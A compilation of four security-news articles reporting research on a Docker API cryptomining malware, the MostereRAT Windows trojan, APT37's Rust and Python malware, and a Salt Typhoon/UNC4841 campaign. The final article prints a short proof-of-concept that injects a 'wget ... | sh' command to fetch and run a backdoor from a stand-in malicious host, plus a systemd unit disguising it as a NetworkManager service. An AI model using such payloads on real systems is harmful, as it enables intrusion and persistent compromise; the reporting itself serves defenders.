A sophisticated malware strain targeting exposed Docker APIs has emerged with enhanced infection capabilities that go beyond traditional cryptomining operations.

The threat, discovered in August 2025, demonstrates evolved tactics designed to establish persistent root access while denying other attackers access to compromised systems.

The malware represents a significant evolution from a variant originally reported by Trend Micro in June 2025.

While the initial strain focused primarily on cryptocurrency mining operations hidden behind Tor infrastructure, this new iteration exhibits more complex behavior patterns.

The attack begins by exploiting misconfigured Docker APIs accessible from the internet, specifically targeting port 2375 where administrators have inadvertently exposed their Docker daemon without proper authentication.

The infection process starts when attackers create malicious containers based on Alpine Linux images, mounting the host filesystem to gain privileged access.

Through a Base64-encoded payload, the malware downloads and executes a shell script from a Tor hidden service, establishing multiple persistence mechanisms across the compromised system.

Akamai analysts identified this variant during routine honeypot monitoring, noting distinct behavioral differences from previously documented attacks.

The researchers observed that unlike its predecessors, this strain implements superiority tactics designed to lock out competing threat actors from the same vulnerable systems.

Advanced Persistence and Defense Evasion Mechanisms

The malware’s most notable advancement lies in its comprehensive approach to maintaining exclusive access to compromised infrastructure.

After initial compromise, the attack deploys a script called docker-init.sh that implements multiple layers of persistence and defensive measures.

The persistence mechanism operates through several coordinated actions. First, the malware appends an attacker-controlled SSH public key to /root/.ssh/authorized_keys, enabling direct root access bypass normal authentication procedures.

Subsequently, it establishes a cron job that executes every minute, systematically blocking access to port 2375 across multiple firewall platforms including iptables, ufw, firewall-cmd, pfctl, and nft.

PORT=2375
PROTOCOL=tcp
for fw in firewall-cmd ufw pfctl iptables nft; do
  if command -v "$fw" >/dev/null 2>&1; then
    case "$fw" in
      firewall-cmd)
        firewall-cmd --permanent --zone=public --add-rich-rule="rule family='ipv4' port protocol='tcp' port='2375' reject"
        firewall-cmd --reload

This defensive blocking represents a territorial approach rarely seen in container-based attacks.

By systematically closing the Docker API port that enabled their initial access, the attackers prevent other malicious actors from exploiting the same vulnerability while maintaining their established foothold through SSH access.

The malware also installs reconnaissance tools including masscan for network scanning, along with torsocks for anonymous communications.

These components enable the malware to identify and compromise additional vulnerable Docker instances across the network, creating potential for large-scale botnet operations.

The combination of persistent access, competitive exclusion, and propagation capabilities positions this malware as a significant threat to containerized environments.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post New Malware Attack Leveraging Exposed Docker APIs to Maintain Persistent SSH Root Access appeared first on Cyber Security News.

Security researchers have uncovered a sophisticated campaign in recent weeks leveraging a novel Remote Access Trojan (RAT) dubbed MostereRAT that targets Windows systems by deploying legitimate remote access tools such as AnyDesk and TightVNC.

The malware’s emergence represents a significant evolution from earlier banking trojans, combining social engineering with advanced evasion techniques to establish covert full-system control.

The initial vector relies on highly localized phishing emails masquerading as business communications, which direct victims to a malicious website hosting a Word document containing a hidden archive.

Upon opening the document, the embedded payload quietly installs most RAT components without alerting standard security tooling.

MostereRAT’s developers have adopted a multi-stage delivery approach to obscure its true nature.

The executable, based on a wxWidgets sample, decrypts additional modules bundled within its resource section using a simple subtraction cipher keyed by the character “A.”

Once extracted to C:\ProgramData\Windows, these components are orchestrated via a custom RPC client that bypasses public SCM APIs to create services running under SYSTEM privileges.

Fortinet analysts identified the use of mutual TLS (mTLS) for C2 communications, ensuring that network traffic remains encrypted and authenticated in both directions, thereby thwarting interception or impersonation attempts.

During execution, MostereRAT installs two services—WpnCoreSvc (auto-start) and WinSvc_32263003 (demand start)—to guarantee persistence across reboots and on-demand operations.

Fortinet researchers noted that the malware disables critical Windows security processes and services, including SecurityHealthService.exe, wuauserv, and UsoSvc, while modifying registry policies to prevent updates and hide notifications.

By terminating or hijacking these security mechanisms, the threat maintains a foothold without triggering alerts from antivirus or EDR solutions.

Infection and Decryption Mechanism

The infection mechanism commences when the victim executes the first-stage executable, document.exe, which unpacks and decrypts the primary modules.

The decryption routine applies a byte-wise subtraction of the value 0x41 (‘A’) to each encrypted byte in the resource blob:-

for (size_t i = 0; i < length; ++i) {
    decrypted[i] = encrypted[i] - 0x41;
}

This trivial yet effective cipher conceals the RAT’s logic from cursory analysis. Once decrypted, the modules maindll.db and elsedll.db are loaded directly into memory.

The maindll.db module interprets parameters ranging from channel-8df91be7c24"a" to channel-8df91be7c24"e" to execute tasks such as persistence, privilege escalation, and task scheduler manipulation.

Conversely, elsedll.db establishes multiple threads to handle keystroke logging, screenshot capture, and RMM tool deployment via TightVNC and AnyDesk.

Upon establishing a secure connection to its C2 servers over ports 9001 and 9002, the RAT periodically retrieves configuration files encrypted with an embedded RSA private key.

After successful decryption and version verification via SHA-256 hash comparison, the malware seamlessly updates itself, ensuring continued functionality and resilience.

This continual upgrade capability exemplifies the threat’s high level of sophistication and underlines the importance of comprehensive monitoring and user education to defend against such multifaceted attacks.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post MostereRAT Attacking Windows Systems With AnyDesk/TightVNC to Enable Remote Access appeared first on Cyber Security News.

APT37, the North Korean-aligned threat actor also known as ScarCruft, Ruby Sleet, and Velvet Chollima, has expanded its arsenal with sophisticated new malware targeting Windows systems.

Active since 2012, the group primarily focuses on South Korean individuals connected to the North Korean regime or involved in human rights activism.

The threat actor has now introduced a Rust-based backdoor dubbed Rustonotto and enhanced Python-based injection techniques to deploy their surveillance tool FadeStealer.

The latest campaign demonstrates APT37’s evolution in adopting modern programming languages and advanced injection techniques.

The attack chain begins with spear-phishing emails containing malicious Windows shortcut files or Compiled HTML Help (CHM) files.

These initial vectors lead to the deployment of multiple malware components orchestrated through a single command-and-control server.

The integration of Rust programming language represents a significant shift for the group, potentially enabling multi-platform attacks while maintaining lightweight backdoor functionality.

Zscaler researchers identified this sophisticated malware cluster operating since June 2025, revealing the threat actor’s continued refinement of social engineering tactics and technical capabilities.

The campaign utilizes Transactional NTFS (TxF) for stealthy code injection, demonstrating advanced evasion techniques.

The researchers observed APT37 leveraging vulnerable web servers as C2 infrastructure, employing a unified PHP script to control their entire malware toolkit including Rustonotto, Chinotto, and FadeStealer variants.

The attack methodology involves multiple stages of payload delivery and execution. Initial compromise occurs through either Windows shortcut files embedded with PowerShell scripts or CHM files that establish registry persistence mechanisms.

These vectors subsequently deploy the Rust-compiled Rustonotto backdoor, which serves as a lightweight command executor capable of receiving Base64-encoded Windows commands and returning execution results to the threat actor’s infrastructure.

Advanced Injection Techniques and Payload Deployment

The most sophisticated aspect of this campaign involves the deployment of FadeStealer through a Python-based injection mechanism utilizing Process Doppelgänging.

The threat actor delivers malicious payloads packaged in Microsoft Cabinet files, which contain three critical components: a legitimate Python module renamed as tele_update.exe, a compiled Python module (tele.conf) responsible for decryption and injection, and the encrypted FadeStealer payload (tele.dat).

The Python injection script, internally named TransactedHollowing.py, employs Windows Transactional NTFS APIs to create temporary files within transaction contexts.

The decryption routine extracts XOR keys from the payload and applies custom decryption algorithms to reveal the final executable.

The Process Doppelgänging technique involves creating section objects from transacted files, mapping them into suspended legitimate processes, and manipulating thread contexts to redirect execution flow.

FadeStealer operates as a comprehensive surveillance tool, conducting real-time keylogging, capturing screenshots every 30 seconds, recording 5-minute audio sessions, and monitoring USB devices hourly.

The malware creates timestamped archives with hardcoded password protection, utilizing embedded RAR utilities for data compression and exfiltration through HTTP POST requests with multipart form data.

The campaign’s technical sophistication combined with targeted social engineering demonstrates APT37’s continued evolution and persistent threat to individuals and organizations connected to North Korean affairs.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post New APT37 Attacking Windows Machines With New Rust and Python Based Malware appeared first on Cyber Security News.

Cybersecurity researchers began tracking a sophisticated campaign in the closing months of 2024, targeting both government and corporate networks across multiple continents.

The threat actors behind this operation, known colloquially as Salt Typhoon and UNC4841, leveraged overlapping infrastructure and shared tactics to maximize stealth and persistence.

Initial infiltration was achieved through exploitation of unpatched remote code execution vulnerabilities in public-facing servers, followed by the deployment of bespoke backdoors.

Affected organizations reported anomalous DNS queries and unexplained outbound HTTPS traffic to domains such as pulseathermakf[.]com and infraredsen[.]com, which were later attributed to Salt Typhoon’s command-and-control (C2) network.

Silent Push analysts noted that the adversaries’ infection vector often began with exploitation of a zero-day flaw in enterprise email gateways.

In one documented incident, UNC4841 exploited CVE-2023-2868 in the Barracuda Email Security Gateway Appliance to establish initial access.

Post-exploitation, the attackers uploaded a customized rootkit named Demodex, which facilitated kernel-level persistence and evasion of host-based detection mechanisms.

Around this same time, Salt Typhoon deployed two additional backdoors—Snappybee and Ghostspider—each designed to blend into legitimate traffic patterns by communicating over standard ports and using randomized HTTP headers to avoid signature-based detection.

Silent Push researchers identified the convergence of these two groups when domain registration records revealed shared email registrants and SOA mbox entries tied to gibberish ProtonMail addresses.

This infrastructure overlap suggested a coordinated effort or resource sharing between the two APT clusters.

By correlating WHOIS data with DNS A-record lookups, analysts uncovered over 45 previously unreported domains associated with both threat actors, expanding the known indicator set for proactive defense measures.

Infection and Persistence Mechanisms

The infection chain begins with a crafted HTTP request exploiting vulnerable software modules. A proof-of-concept snippet provided by Silent Push illustrates the exploit’s delivery payload:-

import requests

exploit_url = "https://victim.example.com/api/exec?cmd="
payload = "wget http://malicious.server/ghostspider.sh -O- | sh"
response = requests. Get(exploit_url + payload)
print("Exploit delivered, status:", response.status_code)

Upon successful exploitation, the Ghostspider backdoor script installs as a system service under a randomized name.

The service unit file, discovered on compromised hosts, resembles:-

[Unit]
Description=NetworkManager Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/ghostspider --config /etc/ghostspider.conf

[Install]
WantedBy=multi-user.target

This technique ensures automatic execution on boot, while /etc/ghostspider.conf contains encrypted C2 endpoints and sleep timers to throttle network beacons.

To further evade detection, the attackers implemented a dual-layer persistence tactic: first via the service unit and then through a cron job that monitors and restarts the backdoor if terminated.

Silent Push analysts extracted the decryption routine from memory, revealing a lightweight XOR cipher applied to both configuration files and network traffic payloads.

The cipher key, 0x4F, is hard-coded but dynamically rotated every 120 hours, preventing simple static analysis.

The seamless integration of these infection and persistence tactics underscores the advanced capabilities of Salt Typhoon and UNC4841.

Organizations are urged to audit DNS and WHOIS telemetry for known malicious domains and deploy behavior-based detection to identify anomalous process launches and encrypted C2 traffic.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Chinese Salt Typhoon and UNC4841 Hackers Teamed Up to Attack Government and Corporate Infrastructure appeared first on Cyber Security News.